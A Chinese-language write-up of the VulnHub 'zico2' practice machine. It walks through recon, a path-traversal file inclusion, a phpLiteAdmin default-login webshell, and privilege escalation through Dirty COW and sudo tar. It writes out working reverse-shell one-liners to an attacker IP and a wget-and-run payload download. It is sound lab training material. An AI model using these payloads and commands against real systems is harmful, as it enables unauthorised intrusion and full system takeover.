IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> vulnhub zico2: 1 -> 正文阅读

[PHP知识库]vulnhub zico2: 1

本文攻击路径是:

nmap扫描-->访问80端口发现文件包含漏洞-->dirb扫描网站目录-->利用默认密码登录phpLiteAdmin-->利用phpLiteAdmin 1.9.3的漏洞结合文件包含漏洞getshell-->脏牛提权(或者sudo tar提权)

步骤1:用arp-scan确认靶机ip

攻击机(kali)输入命令

sudo arp-scan -l

结合靶机MAC地址,确认靶机ip地址为192.168.101.24

步骤2:nmap扫描

攻击机(kali)输入命令

sudo nmap -sS -A -p 1-10000 192.168.101.24

发现开放端口22(ssh)、80(http)、111。按照经验,突破口应该在80端口。

步骤3:浏览器访问80端口,发现文件包含漏洞

访问http://192.168.101.24,在页面上点点点。

发现http://192.168.101.24/view.php?page=tools.html有文件包含漏洞

如下所示,可以通过文件包含漏洞查看/etc/passwd的内容(只要能到达根目录,随便多少../都行)

http://192.168.101.24/view.php?page=../../../../../etc/passwd

根据这个已知漏洞,之后的思路是上传或者创建一个包含php代码的文件,利用这个漏洞执行php代码,达到getshell的目的。

步骤4:dirb扫描

攻击机上执行命令

dirb http://192.168.101.24

目录扫描结果如下,http://192.168.101.24/dbadmin/应该有用

步骤5:登录phpLiteAdmin

访问这个url,发现一个目录

点test_db.php,来到phpLiteAdmin的登录页面

网上查到默认密码是admin,用这个默认密码登录phpLiteAdmin

步骤6:用phpLiteAdmin 1.9.3的漏洞结合文件包含漏洞getshell

github上搜索phpLiteAdmin 1.9.3,可以搜到一份图文版的poc,根据这个poc稍微改动一点,结合前面发现的文件包含漏洞,可以实现getshell

GitHub - F-Masood/PHPLiteAdmin-1.9.3---Exploit-PoCContribute to F-Masood/PHPLiteAdmin-1.9.3---Exploit-PoC development by creating an account on GitHub.https://github.com/F-Masood/PHPLiteAdmin-1.9.3---Exploit-PoC

(1)创建一个新数据库ele.php

?创建成功后可以看到新数据库被保存为文件/usr/databases/ele.php

(2) 切换到ele.php数据库并创建新表,表名随便

(3)为新表创建字段和默认值,字段随便,默认值就是getshell的php代码,我这边写的是

<?php assert($_POST[ele]);?>

(4) 蚁剑连接

http://192.168.101.24/view.php?page=../../../../../usr/databases/ele.php

?连接成功,getshell

步骤7:反弹shell怎么get呢?

我也试过直接在字段默认值中输入开启反弹shell的命令,但是并没有成功。

<?php system('/bin/bash -i >& /dev/tcp/192.168.101.25/2333 0>&1');?>

后来机智的小伙伴说他看到网上很多writeup中字段默认值写的类似下面这样。

思路是把php反弹shell写在文件shell.php(或者其他后缀)中,放在攻击机上;然后攻击机开http服务,用下面这个命令把shell.php下载到靶机的/tmp/shell.php,再用php命令运行/tmp/shell.php。

<?php system("wget 192.168.101.25:8888/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>

按照以上思路尝试:

攻击机上准备shell.php文件,文件内容是php反弹shell,内容是在下面这个链接找的

反弹Shell小结 - 竹小冉 - 博客园

$ip是攻击机的ip,$port是反弹shell的监听端口

<?php $sock=fsockopen("192.168.101.25",2333);exec("/bin/sh -i <&3 >&3 2>&3");?>

攻击机上开http服务(getshell之后先不要关,还有其他文件要下载)

python -m SimpleHTTPServer 8888

攻击机上开反弹shell监听端口,端口号和shell.php中$port对应

nc -lvp 2333

然后在phpLiteAdmin新建的数据库ele.php新建的表shell的字段默认值处填上上述payload

<?php system("wget 192.168.101.25:8888/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>

浏览器中用文件包含漏洞访问ele.php

http://192.168.101.24/view.php?page=../../../../../usr/databases/ele.php

获得反弹shell?

这个shell不是交互式的,反弹shell中输入以下命令获得交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

?

步骤8:提权方式检测

先创建个当前用户有权限修改的目录,并进入这个目录

mkdir /tmp/tq?
cd /tmp/tq?

从github上下载提权检测脚本,解压,把linpeas.sh放到攻击机上

GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

反弹shell中输入如下命令下载该脚本

wget http://192.168.101.25:8888/linpeas.sh

此时,linpeas.sh由于没有配置任何用户的执行权限,因此还不能执行,用chmod命令赋予当前用户执行该文件的权限

chmod 744 linpeas.sh

执行脚本

./linpeas.sh

这个脚本可以输出操作系统的很多信息,以及给出提权的可能路径,比如在这个靶机上跑出了可能可以利用脏牛进行提权的建议。

步骤9:利用脏牛漏洞提权

脏牛漏洞影响范围脏牛提权(cve-2016-5159)_haha1314的博客-CSDN博客_脏牛提权):

内核版本大于2.6.22 (2007年发行,到2016年10月18日修复)?

从exploit-db上搜索dirty下载payload,放到攻击机上,命名为dirty.c,并在反弹shell中输入以下命令下载payload

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit

wget http://192.168.101.25:8888/dirty.c

编译

gcc -pthread dirty.c -o dirty -lcrypt

执行?

./dirty

根据提示输入提权后用户密码,等待一会儿之后,就生成了有root权限的用户firefart,密码为刚刚设置的密码

用firefart进行ssh登录,可以发现firefort取代了root用户,有root权限

额外步骤:更符合靶机名称的提权方式(sudo tar命令提权)

这个靶机名字叫zico,拿到反弹shell之后搜一下靶机上有没有和zico相关的文件或者文件夹

find / -name "*zico*" 2>/dev/null

?

?进入/home/zico文件夹

cd /home/zico

首先发现一个叫to_do.txt的文件,查看这个文件,发现如下内容

?

bootstrap没权限解压,没法看,joomla文件夹中没找到什么有意思的内容,wordpress文件夹的wp-config.php文件中有一个数据库账户zico,密码sWfCsfJSPV9H3AmQzw8。

再看/etc/passwd中有这个用户,或许这个用户名和密码可以用来登录系统

?

我一开始以为密码是md5处理过的,拿到下面这个网站去试了一下。从下图的结果看,这个可能不是md5。后来又拿去base64解码,也不是base64。

?MD5免费在线解密破解_MD5在线加密-SOMD5

直接用这个用户名和密码试试ssh登录,登录成功了

先查找一下有suid的命令

find / -perm -u=s -type f 2>/dev/null

没找到啥有用的

?

再查看一下zico可以sudo执行的命令

sudo -l

有tar和zip,这两个命令应该是都可以用来提权的,我这边用tar来试一下

命令行输入

sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

虽然报错了,但是实际上已经提权成功了

附一下找到这个提权命令的链接:

sudo提权 | EvilAnne's Blog?

?

?

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-30 15:23:36  更:2021-11-30 15:24:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:35:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码